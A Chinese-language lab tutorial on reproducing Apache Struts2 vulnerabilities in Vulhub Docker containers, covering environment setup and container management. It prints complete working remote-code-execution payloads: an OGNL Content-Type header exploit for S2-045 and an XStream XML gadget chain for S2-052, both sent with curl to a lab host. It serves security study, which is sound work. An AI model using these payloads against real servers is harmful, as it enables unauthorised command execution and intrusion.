当前位置: 首页 > news >正文

从靶场到实战:用Vulhub在Docker里一键复现Struts2全系列漏洞(S2-001到S2-053)

从靶场到实战用Vulhub在Docker里一键复现Struts2全系列漏洞在安全研究领域能够快速搭建可复现的漏洞环境是每个从业者的基本功。传统方式需要手动配置Java环境、下载特定版本的Struts2框架、部署Web服务器整个过程耗时费力且容易出错。而Vulhub项目结合Docker技术为我们提供了一种优雅的解决方案——只需几条命令就能启动一个完整的漏洞实验环境。1. 环境准备与工具链搭建1.1 基础组件安装在开始之前需要确保系统已安装以下核心组件Docker Engine建议使用20.10及以上版本Docker ComposeV2版本兼容性最佳Git客户端用于拉取Vulhub仓库cURL或Postman用于发送测试请求对于Linux系统推荐使用官方脚本一键安装# Ubuntu/Debian示例 sudo apt-get update sudo apt-get install -y git curl curl -fsSL https://get.docker.com | sh sudo usermod -aG docker $USER提示安装完成后需要重新登录使docker组权限生效1.2 Vulhub项目获取Vulhub是一个开源的漏洞环境集合项目包含了数百种常见漏洞的Docker化部署方案git clone https://github.com/vulhub/vulhub.git cd vulhub/struts2项目目录结构示例struts2/ ├── s2-001 │ ├── docker-compose.yml │ └── README.md ├── s2-005 │ ├── docker-compose.yml │ └── README.md ...2. Struts2漏洞环境启动与管理2.1 容器化环境启动以S2-045漏洞CVE-2017-5638为例cd s2-045 docker-compose up -d启动后可以通过以下命令检查状态docker-compose ps预期输出应显示服务状态为UpName Command State Ports -------------------------------------------------------------------- s2-045 catalina.sh run Up 0.0.0.0:8080-8080/tcp2.2 网络访问配置默认情况下Vulhub环境会映射以下端口漏洞编号容器端口主机映射端口S2-00180808080S2-00580808080S2-04580808080注意如果端口冲突可以修改docker-compose.yml中的ports配置如8081:80803. 典型漏洞复现实战3.1 S2-045远程代码执行漏洞这是Struts2历史上最严重的漏洞之一攻击者可通过恶意Content-Type头执行系统命令。复现步骤访问启动的Web应用http://your-ip:8080/使用cURL发送恶意请求curl -H Content-Type: %{(#nikemultipart/form-data).(#dmognl.OgnlContextDEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess#dm):((#container#context[com.opensymphony.xwork2.ActionContext.container]).(#ognlUtil#container.getInstance(com.opensymphony.xwork2.ognl.OgnlUtilclass)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmdid).(#iswin(java.lang.SystemgetProperty(os.name).toLowerCase().contains(win))).(#cmds(#iswin?{cmd.exe,/c,#cmd}:{/bin/bash,-c,#cmd})).(#pnew java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process#p.start()).(#ros(org.apache.struts2.ServletActionContextgetResponse().getOutputStream())).(org.apache.commons.io.IOUtilscopy(#process.getInputStream(),#ros)).(#ros.flush())} http://your-ip:8080/关键攻击向量分析// 漏洞核心在于文件上传解析器对Content-Type的处理 public class JakartaMultiPartRequest extends MultiPartRequestSupport { public void parse(HttpServletRequest request, String saveDir) throws IOException { // 未对Content-Type进行充分验证 String contentType request.getContentType(); // 直接执行OGNL表达式 } }3.2 S2-052 REST插件漏洞这个漏洞影响Struts2的REST插件攻击者可以通过特制的XML载荷实现远程代码执行。复现方法启动S2-052环境docker-compose up -d发送恶意XML请求curl -X POST -H Content-Type: application/xml -d map entry jdk.nashorn.internal.objects.NativeString flags0/flags value classcom.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data dataHandler dataSource classcom.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource is classjavax.crypto.CipherInputStream cipher classjavax.crypto.NullCipher initializedfalse/initialized opmode0/opmode serviceIterator classjavax.imageio.spi.FilterIterator iter classjavax.imageio.spi.FilterIterator iter classjava.util.Collections$EmptyIterator/ next classjava.lang.ProcessBuilder command stringtouch/string string/tmp/s2-052-pwned/string /command redirectErrorStreamfalse/redirectErrorStream /next /iter /serviceIterator /cipher /is /dataSource /dataHandler /value /jdk.nashorn.internal.objects.NativeString /entry /map http://your-ip:8080/orders验证命令是否执行成功docker-compose exec struts2 ls -la /tmp4. 实验环境优化与调试技巧4.1 容器调试方法当需要深入分析漏洞时可以进入容器内部docker-compose exec struts2 bash常用调试工具网络监控tcpdump -i eth0 -w capture.pcap日志查看tail -f /usr/local/tomcat/logs/catalina.out进程检查ps aux | grep java4.2 实验环境定制如果需要修改Struts2配置可以编辑docker-compose.yml中的volumes部分version: 2 services: struts2: image: vulhub/struts2:s2-045 volumes: - ./struts.xml:/usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml ports: - 8080:80804.3 资源清理实验完成后可以停止并删除容器docker-compose down如需彻底清理所有Docker资源docker system prune -a
http://www.zskr.cn/news/1335841.html

相关文章:

  • SeekStorm查询重写与自动补全:提升搜索体验的关键技术
  • 【Perplexity天文知识搜索终极指南】:20年天体物理工程师亲授5大避坑法则与实时星图调用技巧
  • 告别GUI!在VS2017里用命令行+conf文件玩转RTKLIB的PPP解算(附完整参数详解)
  • DeepFace实战:用5行代码快速搭建一个本地人脸搜索系统(附完整代码)
  • 革命性AI emojis:一键生成个性化Slack表情的完整指南
  • 权限管理的终极方案:OpenFGA如何解决现代应用的复杂权限挑战?
  • Vector CAN卡二次开发避坑指南:xlGetApplConfig/xlSetApplConfig函数实战详解
  • Go语言实现服务网格集成:Istio与Linkerd实战指南
  • 期刊推荐:SN Social Sciences(ISSN: 2662-9283)
  • LTE/5G常见业务问题(比如速率低 /MOS<3/随机接入失败等 )排查思路和方法
  • 如何在5分钟内解锁所有Steam成就:Steam Achievement Manager完整使用指南
  • 3分钟掌握UnityPackage Extractor:无需Unity轻松提取资源包
  • MODBUS调试助手开发全解析:从协议原理到实战避坑指南
  • 告别臃肿PDF!用Ghostscript命令行批量压缩/拆分/合并的保姆级教程
  • 笔记本散热革命:NBFC-Linux让你的电脑告别“烧烤模式“[特殊字符]
  • 专业解密QQ音乐加密格式:QMCDecode让音乐文件重获自由播放权
  • 为什么你的微调模型Perplexity下降23%但人工测评反降41%?——揭开评估失真背后的4层认知断层
  • 【权威实测】Perplexity vs PubMed vs Scite:在结构生物学领域,它为何将文献召回率提升68%?
  • 【C++】模板进阶全内容,一篇搞定所有!!!
  • LDAP查询服务延时查询及问题排查处理
  • 从‘功能域’到‘位置域’:手把手拆解汽车EEA中的Zonal控制器设计要点
  • 多模态RAG工程实践:图片、表格、文档混合检索的完整方案
  • 2026年知名的腕表/智能定位腕表长期合作厂家推荐 - 行业平台推荐
  • 避坑指南:解决Ubuntu服务器IB网卡ibstat状态异常(Initializing/Down)的几种思路
  • VisualCppRedist AIO:3步解决Windows程序运行库问题,让你告别“DLL缺失“烦恼
  • 3-最好的语言 Reverse 题解writeup
  • 毕业设计精选【芳心科技】12V锂电池充放电管理系统
  • 全球主流软件选型盘点:深度解析erp系统主要干什么的,以及高增长企业里的erp系统主要干什么的
  • C语言的意思
  • [ 计算机网络 | 第二章 ] 物理层